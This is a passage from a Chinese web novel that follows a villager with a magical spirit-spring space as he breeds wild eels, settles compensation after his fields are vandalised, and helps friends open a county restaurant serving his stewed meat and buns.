胡标苦笑摇头：“你要是真‘变通’了，开了那个口子，就你这菜地的出产，每天来得可就不止是他们了，恐怕他们的七大姑八大姨都能组队来白吃白拿。到时候别说赚钱，你这摊子能不能撑下去都难说。” “爷爷，”莫天扬转向莫啸，说起山里的见闻，“今天我在山里遇到了一场暴雨。” “暴雨？”刘思雨和颜若曦一脸诧异，她们无法理解，山里下着暴雨，怎么山下的青木村却滴雨未落。 “山里气候就是这样，一片云彩一场雨。”莫啸替孙子解释道，又关切地问，“那天扬你没事吧？” “找地方躲过去了，”莫天扬笑了笑，继续说重点，“雨停后发山水，我在一条溪流边，看到了黄鳝。” “黄鳝？！”胡标、陈峰等几个上了年纪的人顿时来了精神。他们也只是从老一辈人口中听说过青木山的深涧里有这东西，自己却从未亲眼见过，都带着难以置信的惊讶看向莫天扬。 “天扬，你真见到黄鳝了？啥样子的？” 莫天扬点点头：“嗯，金黄色的，劲儿很大。可惜当时山水还太大，没敢冒险下水去抓。等下次再去，一定弄些回来给大家尝尝鲜。” 颜若曦眨了眨杏眼，有些不解：“黄鳝在水产市场就能买到啊，干嘛非要进山去冒险抓？” 莫啸老爷子闻言笑了起来，脸上带着一种品尝过极致美味后才有的怀念：“丫头，这你就不懂了。青木山里的野生黄鳝，可不是外面塘养的那种能比的。它长在活水里，吃的是山里的东西，没有一点泥腥味，那肉质、那鲜味……啧啧，是真正可遇不可求的宝贝！我这一辈子，也没吃过几回。” 刘思雨眼睛瞬间亮了起来，敏锐地抓住了其中的商机：“天扬！如果能弄到活的，试试看能不能在咱们的池塘里养起来！一旦成功了，这绝对是独一份的招牌，肯定能卖上天价！” 第一百三十七章我控制不住 当最后一抹天光被夜幕彻底吞噬，莫天扬送走了最后一位村民。等到颜若曦和刘思雨房间的灯火相继熄灭，他低声嘱咐大青留下守护，自己则带着小白，悄然去了安置山鸡和野兔的区域。 灵泉空间已经证实能够维系动物生存，他现在迫切地希望，空间的神奇力量能进一步加快这些小家伙的繁衍速度。 心念转动间，他已置身于灵泉空间的小岛上。站在岛屿边缘，他能清晰地看到浅水区密密麻麻挤满了金膏蟹、鬼面鱼、小龙虾和各类河蟹。这些在王传林那些美食家眼中堪称极品的食材，此刻却丝毫吸引不了莫天扬的注意。他的目光急切地扫过水面，搜寻着另一种更让他牵挂的身影——黄鳝。 十多分钟后，莫天扬脸上终于浮现出欣喜的笑容。在一片水草丰茂的浅滩，他看到了几条金黄色的身影优雅地滑过水面，而在它们活动的区域，水底淤泥上分布着数十个不断冒着细小气泡的洞穴。 尽管青木村本地少见黄鳝，但在南方求学的经历让他积累了足够的常识——这种洞穴，十有八九就是黄鳝用来藏身的巢穴。眼前如此密集的洞穴，无疑宣告着一个好消息：黄鳝不仅适应了这里，更已经开始“安家落户”、繁衍后代了！ 带着这份满意，他重新回到小岛中心，开始例行采摘成熟的作物，以确保空间内的物种能持续循环繁衍。忙完这一切，他的目光落在了那几个装着空间粮食的袋子上，眼神闪烁了几下——王海龙提过的那个用于掩护的小面馆，或许可以借此开张了。 第二天一早，莫天扬洗漱完毕来到大院。只见大院中那栋二层小楼周围的脚手架已全部拆除，新露出的飞檐斗拱涂上了庄重而典雅的色彩。尽管建筑是全新的，却完美融入了一丝古色古香的韵味，与周遭的环境毫不违和。 凝视着这一排复古雅致的建筑，莫天扬在期待之余，也感到了沉甸甸的压力。这庞大的投资，大部分来自王传林等人的支持，虽说可以慢慢偿还，但对于从未欠过外债的莫天扬来说，这无疑是一副沉重的担子。 驻足片刻，他先去菜地，悄然从空间置换出一批品质最佳的蔬菜，随后便转去了酒坊。 刚一踏入酒坊，浓郁的酒糟味便扑面而来，但这一次，空气中已然混杂着一缕缕清新而醇厚的酒香，预示着成功近在眼前。 他照例添加了灵泉水，随后便脱掉上衣，赤膊上阵，挥汗如雨地投入了劳作…… 直到胡振南带着工人们到来，莫天扬才停下手中的活计。他离开酒坊，信步在菜地中巡视。当走到种植谷子和黍子的地块时，他惊喜地发现，沉甸甸的穗头末端已经开始泛出成熟的金黄色——这意味着，用不了多久，就能迎来第一轮收获了！ 就在这时，一阵阵还带着几分稚气的狼嚎声传来。莫天扬循声望去，只见在那片翻种了紫花苜蓿的沙地上，一群半大的小狼崽正在茂密的苜蓿丛中追逐嬉闹，时隐时现。 这些苜蓿种植的时间并不长，但在充足水源的灌溉下，长势极为惊人，大片大片的苜蓿已然窜到了一米多高。翠绿欲滴的茎叶随风摇曳，形成一片起伏的绿色海洋。此情此景，让莫天扬不由自主地想起了那句古老的诗词——“天苍苍，野茫茫，风吹草低见牛羊”。 他在苜蓿地里仔细转了一圈，随后便去找胡标。 “标叔，我刚去苜蓿地看了下。” 一听莫天扬提起苜蓿，胡标脸上瞬间焕发出兴奋的光彩：“天扬，咱们这苜蓿种得是晚了点，可这底肥足、水又跟得上，长得真是太快了！这么好的苜蓿，我老头子有几十年没见过了！” 莫天扬却摇了摇头，说出自己的考量：“标叔，当初种的时候，谁也想不到能长成这样。现在苜蓿都一米多高了，眼看就要长老，茎秆会变硬，到时候再翻耕肥地，效果就差多了。我觉得是时候该翻了。” 胡标眼神闪烁了几下，显然有了不同的想法：“天扬，当初咱们都觉得这苜蓿能长一尺高就顶天了。现在长得这么好，直接翻到地里肥田，是不是太可惜了？我看……不如割上一大部分，咱们想办法弄些本地的山羊回来养着，正好能把这顶级苜蓿转化成肉，也能多一笔收入。剩下的一部分再翻进地里肥田，你看咋样？” 莫天扬心里顿时一乐，他正想找胡标商量割苜蓿搞养殖的事，没想到标叔和他想到一块去了，他还没开口，对方就先提了出来。 “行！就按您说的办！”莫天扬从善如流，“标叔，那您就费心打听打听，看看咱们周边哪儿有靠谱的羊羔或是母羊卖，咱们尽快弄一批回来。” “行！这时候的羊正上膘，我回头就去打听。”胡标点头应下，随即眼中闪过一丝期待的光芒，压低声音道，“天扬，那群青狼最听你的话……你看，能不能让它们从山里弄几只活的小黄羊回来？那玩意儿金贵，要是真能圈养成功，下的崽子绝对能卖出天价！” 莫天扬下意识挠了挠头——灵泉空间里现在就有一群活蹦乱跳的黄羊，弄几只小羊羔出来还真不是难事。但他必须得找一个合情合理、不引人怀疑的时机。他面上露出几分为难：“标叔，青狼捕猎，多半都是直接咬死……回头我跟大青说说看，让它带着狼群试试，看能不能活捉几只小的回来。” 说完，他话锋一转，谈起了更紧迫的事：“标叔，地里的蔬菜也撑不了太久了。一旦蔬菜下架，那几百只鸡鸭鹅的口粮就成了大问题，咱们得提前准备。” 胡标显然也考虑过这个问题，接口道：“天扬，按个头算，咱们养的鸡鸭鹅已经和市场上卖的差不多大了，其实现在就能出售……” “不行，”莫天扬果断摇头，“这才养了几个月？肉太嫩，没嚼头，香味也差得远。咱们可不能拿这种嫩鸡嫩鸭糊弄王老板他们，那是自己砸自己的招牌。再说，它们现在还在长，多喂一天就能多一分分量，到时候出栏，咱们也能多赚一点。” “是这么个理儿！”胡标恍然大悟，“那我想法子去打听打听，看哪里能买到些被虫蛀过或者品相差的便宜玉米、谷子，掺上苜蓿一起喂，能省不少成本。” 正说着，陈峰匆匆走了过来，脸上带着些不同寻常的神色：“天扬，县里来人了，说是给你送处罚通知和处理结果的。” 莫天扬微微一怔，确认道：“峰叔，是县里直接来的人？” “嗯，看着架势不一样，来的几个人态度挺诚恳，坚持要亲手把通知交到你手里。” 莫天扬点点头，跟着陈峰走向帐篷。一进去，就看到三个穿着得体的人正坐在里面，见他进来，立刻放下手里吃了一半的甜瓜，站起身。 “你就是莫天扬同志吧？”为首的一位中年人开口问道，语气很是客气。 莫天扬点头：“我是。你们这是……” 那位中年人深吸一口气，神情严肃而郑重：“对于前天晚上发生的恶性毁坏菜地、打砸财产事件，县委县政府高度重视，王书记亲自督办，对所有涉案人员及相关部门都进行了深入调查。现已查明，此事是几名因违规采沙被查处、且听信了不实谣言，误认为是您举报的沙场老板，出于报复心理所指使。目前，主犯均已立案侦查，其余参与打砸的人员均已被刑事拘留。待调查完毕后，所有涉案人员必将依法受到严惩。此外，乡里及县里部分在此事中存在不作为、乱作为情况的干部，也正在接受组织调查……” 莫天安静静听着，点了点头：“那些主犯，大概会怎么处理？” “此事性质恶劣，社会影响极坏，主犯构成刑事犯罪，预计将面临有期徒刑的判罚。”中年人语气肯定，“至于那些失职渎职、甚至企图包庇袒护的公职人员，最轻的处分也是撤职。” “那就好。”莫天扬的神色缓和了些，“麻烦你们，替我谢谢王书记主持公道。” “我们一定转达。”中年人继续说，“另外，稍后会有人过来将那辆作为作案工具的铲车依法拖走。同时，肇事方委托的代表希望能与您当面协商赔偿事宜，他们现在非常后悔，诚挚地希望与您达成和解。” 莫天扬深吸了口气，似乎强压下某些情绪，摆了摆手：“赔偿的事，让他们直接找我们村的胡标支书和曹勇叔谈就行。我这边等下还有事要忙。” “莫先生，”对方显得有些为难，“对方还是希望能直接和您沟通，毕竟您才是这件事的主要当事人……” 莫天扬摇摇头，语气带着一丝不易察觉的愠怒：“他们毁了我十几亩菜地。是，地里的菜是不如之前多了，但那至少还能再采摘二十多天！一想到这个，我就……我怕我控制不住脾气。还是让标叔他们来处理吧，他们更冷静。” 说完，他不再给县里来人劝说的时间，转头看向陈峰：“峰叔，等下麻烦您也在旁边听着点，我去酒坊了。”他走到门口，又像是想起什么，补充道：“对了，给刘支书打个电话，请她尽快回来一趟，也做个见证。” 第一百三十八章被迫营业？ 收拾停当，莫天扬走出家门。他抬眼望了望远处连绵起伏的青木山脉，心头忽然一动，临时改变了主意。 通往浅驼县的国道上，一辆出租车停靠在路边。司机看着莫天扬毫不费力地将一个看上去沉甸甸的大袋子轻松抱起，稳稳放入后备箱，眼中满是惊诧。 等莫天扬坐进车里，司机忍不住深吸了口气，赞叹道：“兄弟，你这力气可真不小！那袋子少说也得一百好几十斤吧，你搬起来跟玩儿似的。” 莫天扬淡淡一笑，语气平常：“乡下人，干惯了农活，有把子力气，正常。师傅，麻烦您，帮我找个好点的磨坊，机器好点的。” “村里头没有磨坊吗？”司机一边发动车子一边好奇地问。 “有，正好机器坏了。我这儿有点急用，等着送人，等不及了。”莫天扬找了个借口。 车子在一家规模不小的磨坊前停下。五十多岁的老板解开莫天扬带来的袋子，抓起一把谷子仔细一看，不由得微微一愣。他惊讶地看向莫天扬：“小兄弟，你这谷子……品相绝了啊！颗粒这么饱满均匀，闻着还有股特别的清香味！哪儿买的？能不能帮我联系一下，我给你四块钱一斤，有多少我要多少！” 莫天扬笑了笑，应付道：“这是一个朋友自家种的，送我的。回头我帮您问问，要是他还有，我一定跟您说。” 当金黄的谷子被机器褪去外壳，变成小米时，磨坊里响起老板接连不断的惊呼声！这动静立刻吸引了磨坊里其他顾客和工人的注意，众人围拢过来，看到那堆新磨出来的小米时，也都忍不住发出惊叹。 这小米颗粒圆润饱满，色泽是那种纯净诱人的金黄色，更散发着一股其他小米根本没有的、难以形容的天然醇香。若非亲眼所见是从谷子磨出来的，人们几乎要怀疑是不是添加了什么特殊的“科技与狠活”。 “小兄弟，这小米卖我点！我出七块一斤！”老板再次急切地开口，价格直接跳涨。 这话立刻引起了共鸣，旁边几个看到小米品质的人也纷纷想买一些，这样顶级的小米，他们确实是头一次见。 “实在不好意思，”莫天扬婉拒道，“这些小米我也是准备送人的……” 小米引发了轰动，随后磨出的白面同样引起了众人的觊觎。看着人们火热的眼神，莫天扬在感慨灵泉空间产物不凡的同时，心里也暗暗下了一个决心：必须得自己弄个磨坊，以后加工都得自己来。 出租车最终在一个规模不大的小饭店门前停下。莫天扬抬头，看着崭新牌匾上“青木餐馆”四个大字，不由得会心一笑。 店门从里面被推开，一个三十多岁、穿着朴素但身板挺直、显得十分精干的中年男子走了出来。他看到门口站着、身边放着两袋面粉的莫天扬，愣了一下。 “小兄弟，我们这儿还没开业呢，所以……”他客气地说道。 莫天扬微微一笑：“我是莫天扬，从青木村过来的。” 中年男子猛地一怔，下一刻，眼中瞬间流露出激动之色：“是老板！快请进，快请进！海龙哥刚走没多久，他怎么没跟我说您要过来……” “我也是临时起意，过来看看。”莫天扬说着，和对方一起将小米和白面搬进店里。 中年男子朝后面喊了一嗓子：“哥几个，快出来！老板过来了！” 话音刚落，不过几个呼吸的时间，莫天扬就看到两个同样穿着简单工作服、身姿却如标枪般挺拔的中年男子快步走了出来。那份气质，和王海龙、徐明辉他们如出一辙。 “老板，这是徐志国、王宏伟，我叫赵兴胜。郭宏去市场上打听食材行情去了。”引他进来的中年男子——赵兴胜介绍道。 莫天扬摆摆手，随和地说：“别叫老板，叫我天扬就行。老板那都是有钱人，我可算不上。我带了点自家弄的白面和小米过来，都是好东西，绝对无公害。” “天扬，这些东西我们去买就行了，何必您亲自辛苦跑一趟……” “等下中午大家尝尝就知道了。麻烦谁去弄点带骨的猪肉，再买只鸡回来，中午咱们尝尝口味。”莫天扬笑道。 “我去找郭宏，顺便把肉和鸡买回来！”王宏伟爽快地应了一声，笑着出门了。 “天扬，海龙他们可是没少夸你，说你厨艺是这个，”赵兴胜竖了下大拇指，“特别是炖肉、做鸡，是一绝！今天我们有口福了。” 莫天扬哈哈一笑：“行，那我去和面。等下蒸点包子、烙些馅饼试试炉灶。以后咱们早餐可以主打小米粥，中午卖包子，晚上供馅饼，先看看反响。” “天扬，你先坐着歇会儿，我去给你沏杯茶。”赵兴胜热情地招呼道。 “真不用客气，”莫天扬笑着摆手，起身朝里面走去，“我正好去后厨熟悉一下。” 他信步走进后厨。虽然是由四个大男人经营打理，但眼前的一切却让他暗自点头——灶台、地面擦得锃亮，不见一丝油污；各种厨具、调料分门别类，摆放得整整齐齐，处处透着一股军人特有的严谨和利落。 就在他打量环境的工夫，徐志国和赵兴胜已经把小米和白面搬了进来。徐志国找来一个大面盆，准备先和面试试。 当他解开那个白面袋子，看到里面颜色雪白、质地细腻得如同顶级腻子般的面粉时，忍不住又一次惊叹出声，抬头看向莫天扬。 “天扬，这白面……品质也太绝了！我看着比市面上最贵的高筋粉还要好！用这么好的面粉做包子，是不是有点太浪费了？” 莫天扬笑了笑，语气却十分肯定：“既然要开店，就得拿出点真东西，立住招牌。放心用，这面粉我有个特殊渠道，供应得上，以后咱们店里就用这个。” 之前莫天扬凭一手炖肉绝活，就让无数食客心甘情愿专程跑去偏僻的青木村，这足以证明他的手艺。徐志国他们四个是替自己做事，这店说到底也是自己的产业，所以对他们，莫天扬并没打算藏着掖着。 临近中午，大锅里的带骨猪肉和炖鸡肉相继出锅，浓郁的肉香弥漫了整个小店。正在一旁拌肉馅的莫天扬对徐志国四人招呼道：“都过来尝尝，看味道怎么样。” 四人深深吸了一口那勾人魂魄的肉香，脸上已是陶醉。徐志国由衷赞叹：“天扬，不瞒你说，我当兵那会儿，跟着部队里一位顶厉害的老班长专门学过炖肉，他那手绝活可是有名的一绝！但跟你这炖肉一比，感觉还是差了不少火候。这肉，以后绝对是咱们‘青木餐馆’响当当的招牌！” “都尝尝口感，”莫天扬点头，“我看你们准备的调料还缺几样关键的，回头我写个单子，你们按着去买齐。” 又过了一会儿，莫天扬掀开蒸笼盖子，一股更加霸道诱人的混合香气瞬间爆发开来，徐志国四人看得眼睛都直了——只见笼屉里的包子个个皮薄透亮，能隐约看到里面饱满的馅料，香气扑鼻，这种品相的包子，他们真是头一回见。 炖肉、包子全部搞定。徐志国四人麻利地装了一盘带骨猪肉、一盘炖鸡肉，又端上一大盆包子，五个人围坐一桌。徐志国看向莫天扬：“天扬，喝点不？少来点？” “行，那就少来点。”莫天扬笑着应允。 酒倒上，徐志国四人迫不及待地伸筷子夹肉。一口下去，四人脸上同时涌现出极大的满足感，咀嚼了几下，眼睛都亮了。“天扬，这……这也太香了！你到底是怎么做的？” “都是跟我爷爷学的土法子。觉得好吃就多吃点。以后店里主食就主打这炖肉，再配上几个爽口凉菜和一个用料实在的大烩菜，齐活。” “我尝尝这包子！”性急的郭宏伸手拿过一个包子，大大地咬了一口，随即脸上就露出了难以置信的表情，连连摇头赞叹。包子皮极薄却富有韧性，内里馅料充足，肉香混合着汤汁瞬间充盈口腔，还没等咽下去，就忍不住想咬第二口。 “志国，快尝尝这包子！绝了！”他含糊不清地催促道。 就在五人享受着美食，偶尔小酌一口闲聊时，店门帘一掀，呼呼啦啦走进来五六个人，嗓门挺大：“老板，拿菜单看看！” 赵兴胜赶忙起身，带着歉意笑道：“几位对不住，小店还没正式营业呢，所以……” “没营业开着门，还这么香，逗我们玩呢？”其中一人似乎有点不满。 徐志国看了眼莫天扬，见后者微微点头，便笑着迎上去：“几位老板，菜单真没有。不过我们这儿刚好炖出来一些带骨猪肉、炖鸡肉，还蒸了锅包子，都是自家吃的，您几位要是不嫌弃，可以尝尝鲜？” 那五人吸了吸鼻子，浓郁的肉香和面香让他们眼睛一亮，互相对视一眼，便走了过来。凑近桌子又深深闻了一下，五个人几乎是同时点头：“嗯！这香味真没骗人，地道！就这个，给我们也上点！” 没多久，后厨就又端上来几大盘肉和一大盆包子。这几人吃得那叫一个酣畅淋漓，赞不绝口。 “老板，你们这肉和包子也太香了！……不行，再来一份炖肉！” “这包子给我再加十个！” 足足吃了一个多小时，这五位意外的客人干掉了三份带骨猪肉、四份炖鸡肉、三十多个大肉包子，这才心满意足地抹着嘴，瘫在椅子上。 领头的那人意犹未尽地对徐志国说：“老板，晚上我们还来，带几个朋友！你们可得给我们多准备点啊！” “可是我们这……”徐志国一时有些犹豫，看向莫天扬。 莫天扬笑着摆摆手，接过话：“行，晚上给您留着。到时候再给您配几个拿手的下酒凉菜。” 看着几位客人心满意足地离开，徐志国四人长长舒了口气，相互看了一眼，脸上都带着难以置信的惊喜。他们万万没想到，莫天扬只是过来教他们炖肉，这试菜竟然直接变成了开业第一单，还拉来了回头客。 “天扬，这晚上……真准备接待？” “嗯，”莫天扬点头，语气干脆，“下午就去买肉，买最好的。我盯着，教你们怎么做。” 第一百三十九章人之本性 曹慧之前跟着莫天扬学做菜，毕竟男女有别，莫天扬在教授时多少有些避讳。 但面对徐志国这几个大老爷们，他就完全放开了手脚，教得毫无保留。徐志国本身就有炖肉的功底，一下午的专心学习和实操下来，虽说炖出的味道比起莫天扬亲手做的还差些火候，但已是像模像样，足以独当一面了。 太阳还没西沉，中午那几位食客便早早地来了，身后还跟着二十多号闻讯而来的新面孔。这群人一落座，原本就不大的小店瞬间被挤得满满当当，人声鼎沸，好不热闹。 “老板，就按中午的标准！带骨猪肉、炖鸡肉，每样先上三份！每桌再先来二十个大肉包子！”熟客熟门熟路地喊道。 徐志国笑着迎上去，补充道：“诸位，晚上咱们还添了爽口凉菜和家常大烩菜，主食除了包子，还有现烙的馅饼，要不要都尝尝？” “嚯！还有新品？那更得尝尝了！每样都给我们来一份！”客人们兴致更高了。 当一大盆色泽油亮、香气扑鼻的炖肉，搭配着清爽的凉菜和内容丰盛的大烩菜端上桌时，食客们只是尝了一口，瞬间就被那绝妙的味道征服，沉浸在这场味觉盛宴中，桌上很快便只剩下抢食的筷子和满足的赞叹声。 站在柜台后的徐志国、赵兴胜等人看着眼前这火爆的场面，看着食客们对菜肴毫不掩饰的喜爱，每个人眼中都闪烁着激动与难以置信的光芒。 他们来这里，本是替莫天扬打理这个作为掩护的落脚点，最初只想着小餐馆能维持日常开销就不错了。谁能想到，还没正式开业，莫天扬就用他带来的神奇食材和独家手艺，给了他们这样一个巨大的惊喜。 “宏哥，你看这……咱这店是不是有点太小了？”赵兴胜看着拥挤的店面，低声对郭宏说。 郭宏比较冷静，他看了眼徐志国，压低声音回道：“是小了。但别忘了老板请咱们过来的首要目的，餐馆只是个幌子，方便咱们行事。” 徐志国闻言，不禁轻叹一声，语气中带着一丝复杂的情绪：“道理是这么个理……可这手艺和食材，真是浪费了。我去后头帮天扬做馅饼。” 当一张张烙得金黄、皮薄馅大的馅饼端上桌时，小店里再次爆发出阵阵惊叹。“老板，你们这店虽然菜式不多，但样样都是精品啊！明天中午我们包场了！到时候一定给我们多准备点！” 后厨里，莫天扬尝了一口徐志国刚烙好的馅饼，满意地点点头：“徐哥，现在就是火候还稍微欠一点点，其他都没问题了，就这么做，绝对行。” 徐志国一边忙活一边说：“天扬，照今天这客流量和用量，你带来的那些顶级白面，最多也就够支撑到后天。” 莫天扬心里早有打算，点头应道：“嗯，我明天就安排人送一批小麦过来，你们找个靠谱的磨坊现磨。对了，早餐先别正式推出，我带过来的那些小米，可以每天熬一些，当作免费的稀饭送给来吃饭的客人。” “刚才听吃饭的客人提起什么‘黄糕’，那是什么？”徐志国好奇地问。 莫天扬微微一笑，解释道：“黄糕是咱们北方的一种传统主食，用黍子面做的，口感特别扎实扛饿，但在外面不太常见。今年村里种了一些黍子，等过段时间新糕面下来了，我送些过来。中午可以卖包子搭配黄糕，干活出力气的人特别喜欢，顶饱。” “天扬，你晚上不回去了吧？”徐志国关切地问，“我们这儿四个人挤挤还能住下，你要是不回去，我让他们现在就去给你找个舒服点的住处。” “徐哥，炖肉和馅饼你都掌握得差不多了，”莫天扬摇摇头，“我过来没跟家里打招呼，得回去。这边有什么事，随时给我打电话。” 青木村。莫天扬回来时，夕阳早已沉入山脊，只在天边留下一抹淡淡的霞光。正在大院空地上准备晚饭的陈峰等人，瞧见莫天扬从村口大路上走来，都不由得愣住了。 “天扬？你没进山啊？” 莫天扬呵呵一笑，拍了拍身上的尘土：“没。海哥他们的几个朋友在县里盘了个小餐馆，眼看要开业了，海哥让我过去指点一下炖肉和大烩菜的做法。” 不远处的王海龙、徐明辉和李国强听到这话，也都是一怔。王海龙站起身，有些意外：“天扬，你今天就过去了？” “嗯，”莫天扬点头，走到他们旁边坐下，“中午就试着做了一顿，本打算自己人尝尝，结果香味太勾人，硬是引来几桌客人。晚上那几位直接带了二十多号朋友过来，我走的时候，店里还忙得热火朝天呢。” “怪不得！”王海龙恍然大悟，“我下午给他们发微信，一直没回音，原来是这样。” 这时，胡标、刘思雨、曹勇几人也围了过来。莫天扬看向胡标，问道：“标叔，今天谈得怎么样？” 胡标脸上露出一丝宽慰：“县里来了人，态度很诚恳，居中调解。最后那边答应赔偿十一万。思雨作为村里的代表，已经代你和村里签了谅解书。” 莫天扬点点头，目光转向刘思雨：“思雨，你看到正式的处罚通知了吧？” “看到了，”刘思雨语气肯定，“这次县里反应很快，处理得也非常果断。不少人因为这事吃了挂落，估计要倒下一批。这次之后，那些想在你身上动歪心思的人，得好好掂量掂量了。” “希望能这样吧，”莫天扬吁了口气，“那些有钱有势的，总觉得能随便拿捏我们这些没背景的。他们从没想过，要是把人逼急了，后果他们根本承担不起。这次，也算给他们一个教训。” 刘思雨却带着一丝担忧看向莫天扬：“天扬，正因为签了谅解书，他们的刑事责任会减轻很多。这些人在县里都是有头有脸的人物，这次差点栽在你一个‘种菜的’手里，我担心他们……日后会记恨，变着法子找麻烦。” 莫天扬深吸一口气，眼神却依旧平静：“没了那些敢给他们开后门的‘保护伞’，他们最多也就唆使些小混混来恶心人。只要咱们自己行得正、坐得端，规矩做事，就不怕他们耍手段。” “天扬，”曹勇插话道，“下午王喜山那帮人又来了。” 莫天扬眉头微皱：“他们的工钱要到了？” “上哪要去？老板都被抓了，只能自认倒霉。”曹勇摇摇头，“他们来，是想把之前那些沙地再包给你。他们说沙地的表层沙土都被挖得差不多了，剩下的土质整改起来花不了多少钱，开口就要一亩二百。” “他们还真敢张嘴！”旁边的莫红兵忍不住冷声道，“怎么不自己去种？看看一亩地一年刨去成本，能不能净赚二百块！” 莫天扬笑了笑，看向胡标：“标叔，您看到了吧？那天您还劝我去找他们谈。这才几天，他们就自己送上门了。要是咱们先开口，他们一亩地喊三百都说不定。” 胡标和刘思雨闻言，都不由得苦笑摇头。他们之前确实劝过莫天扬主动去谈，此刻被莫天扬点破，才更深切地感受到人心的复杂和趋利。 “标叔，您怎么回他们的？” “我把利害关系都掰开揉碎说了，可他们咬死了不松口。还是原来那条件，包地就得让他们来你这上班。” 莫天扬果断摇头：“那地还是让他们自己留着吧，我种不起。他们爱找谁包找谁包去。” “他们说明天还要过来直接找你谈？” “明天我还得去县里一趟，”莫天扬语气平淡，“您直接告诉他们，我暂时没有包任何地的打算，让他们不用来了。” 胡标等人都是一愣：“天扬，你是真不打算包了？那些地整理一下，其实还是能种的……” “其他村子的地，条件比咱们村好得多，承包价一亩也就一百出头。”莫天扬冷静地分析道，“我要是真花二百包了咱村的地，消息传出去，其他村的村民肯定会立马坐地起价。到那时候，我就真成了所有包地人的公敌，断人财路，他们还不恨死我？” 胡标等人听了，纷纷沉默着点头。若是几个月前莫天扬说这话，他们或许还觉得是他老实怯懦。但如今的莫天扬早已蜕变，他做事有理有据，敢于硬扛，却绝不莽撞。他这不是怕，而是通透和清醒。更何况，现在村里也不会有人眼睁睁看着他受欺负。 “好了，先吃饭吧，”莫啸老爷子发话了，声音缓和了气氛，“有什么事，边吃边聊。” 第一百四十章让嫂子他们来 灵泉空间内，莫天扬看着身后那四大袋沉甸甸的小麦，又低头瞅了瞅自己那双被麦穗搓得通红、甚至有些破皮的手掌，脸上不禁泛起一丝无奈的苦笑。 他买来的本是最普通的麦种，可一经这灵泉空间滋养孕育，产出的麦粒饱满异常，磨出的面粉品质竟远超市场上最顶级的产品。 用这面粉做出来的包子，不仅味道绝佳，更带着一股原始而纯粹的麦香。别说搭配他的炖肉和大烩菜，就算是单开一个专卖面食的铺子，也绝对能赚得盆满钵满。 然而，喜悦之后却是现实的窘境。他此刻只能用最原始的方法徒手搓取麦粒，一番辛苦下来，累得腰酸背痛，收获却不过这区区几袋。这点小麦磨出的面粉，对于需求日益增长的小餐馆来说，根本支撑不了几天。 就在他腰背酸痛、一筹莫展之际，心头猛地一亮——他想起了过去村里农忙时节那轰隆作响的打麦机！虽然现在早已被大型联合收割机取代，但这种古老的机械在老一辈人家里或许还有留存。如果能搞到一台，哪怕是用电瓶作为动力，效率也远非这手工作业可比！ 想到这里，莫天扬精神一振。他深吸一口气，起身在清凉的灵泉水域中好好泡了个澡，洗去一身疲惫，随后便离开了空间。 第二天，莫天扬如常将空间蔬菜置换到地里，随后去了酒坊。等莫红兵几人到齐后，他便和陈峰、胡标打了声招呼，搭乘凌飞往县里送菜的货车去了浅驼。 对于莫天扬的去向，胡标他们并未多问。一方面，今天王喜山那帮人很可能还会来纠缠，莫天扬避开正好；另一方面，大家都以为他是去指导王海龙朋友那个小餐馆的炖肉手艺。 看着货车远去，陈峰目光闪烁，忍不住对胡标低语：“为了王海龙那几个朋友，天扬把这独门的炖肉手艺都传出去了，是不是有点不值？有这手艺，咱自己开个小店多好。” 胡标沉吟片刻，摇了摇头：“当年想跟莫老爷子学艺的人多了去了，老爷子都没点头。天扬是得了真传的，他这么做，肯定有他的深意。我琢磨着，那饭店没准就是天扬自己开的，只不过借了别人的名头。不然，以他的性子，绝不会这么上心。” “那他为啥不明说……” “眼下盯着天扬的人不少，树大招风。在县里开店，不比在咱村里，谨慎点没坏处。”胡标缓缓道。 陈峰闻言，深吸一口气，恍然大悟：“原来是这样……” 胡标拍拍他肩膀：“心里明白就行，这事就别往外说了，免得给天扬招麻烦。” 浅驼县，张学涛的精品果蔬店内。 莫天扬的突然到访让张学涛很是意外：“天扬！可是有日子没见你了！村里菜地那档子糟心事，彻底解决了？” “算了了，赔了十一万。”莫天扬答道。 张学涛一听，却有些忿忿不平：“要我说，就不该跟那帮王八蛋和解！就该让他们把牢底坐穿！” 莫天扬微微叹了口气：“涛哥，我一个小老百姓，能让他们受到处罚，已经不容易了。凡事过犹不及，再闹下去，上面也难做。再说，地里的菜也确实到了罢园的时候，摘不了几天了。见好就收，对大家都好。” 张学涛也叹了口气：“道理是这么个理，就是觉得便宜了他们……对了，今天早上刚到了一批不错的热带水果，回去的时候带上点给你爷尝尝。” “我先出去办点事，回来再说。涛哥，最近怎么没见王哥他们去村里？” 张学涛神色稍稍一凝：“他们公司那边好像出了点状况，都忙着处理呢。王哥这几天一直在省城，我也有阵子没见着他了。” “见了面替我说一声，有空去村里坐坐，散散心。” “没问题，话一定带到。” 在张学涛店里稍坐了一会儿，莫天扬便起身离开。他并没有直接去青木餐厅，而是转身去了附近一个以农业为主的大镇子。 一进镇子，他就开始四处打听，专找村里的老人询问，谁家还保留着过去的老式打麦机和风车。这些老把式对传统的农具都有着深厚的感情，许多人家即便不用了，也舍不得当成是生火柴烧了。 果然，功夫不负有心人，才转悠了一个多小时，莫天扬就花了不到八百块钱，成功淘换到了一台保存完好的打麦机和一架虽然有些残旧但还能用的风车。 最让他惊喜的是，那台打麦机明显被前人改造过，传动机构正好适配电动机，给他省下了自行改造的麻烦和花销。 他当即雇人将机器送到村口。等到四下无人时，莫天扬凭借灵泉空间之力，悄无声息地将这两件“老伙计”收了进去。 随后，他又马不停蹄地赶往县城的五金市场，精心挑选了两套由大功率电瓶驱动的电动机组，为他的“空间农业半机械化”迈出了第一步。 将一切都安排妥当后，莫天扬找了个僻静角落，从灵泉空间中取出那四袋小麦，随后给凌飞打了个电话，托他帮忙找辆三轮车。装上小麦，他这才动身前往“青木餐馆”。 赵兴胜和王宏伟几人赶忙将小麦搬进后厨。正在灶台前忙着炖肉的徐志国见莫天扬来了，笑着招呼道：“天扬，来得正好，快来帮我看看这锅肉的火候和味道咋样。” 莫天扬走近，深吸了一口气，锅中冒出的浓郁肉香让他微微点头：“嗯，很香。就是八角味稍微淡了点，可以再少放一点提味。” 这话让徐志国等人都是一愣。昨天他们已经彻底见识了莫天扬神乎其技的炖肉手艺，但没想到今天他仅仅只是闻了一下，就能精准地判断出香料投放的细微差别。 “天扬，你这鼻子也太神了！”徐志国由衷佩服，“我确实是习惯性少放八角，怕味道太重，你这闻一下就知道了！” 莫天扬淡淡一笑：“当厨子，鼻子和舌头都得灵光。昨晚忙到几点？” 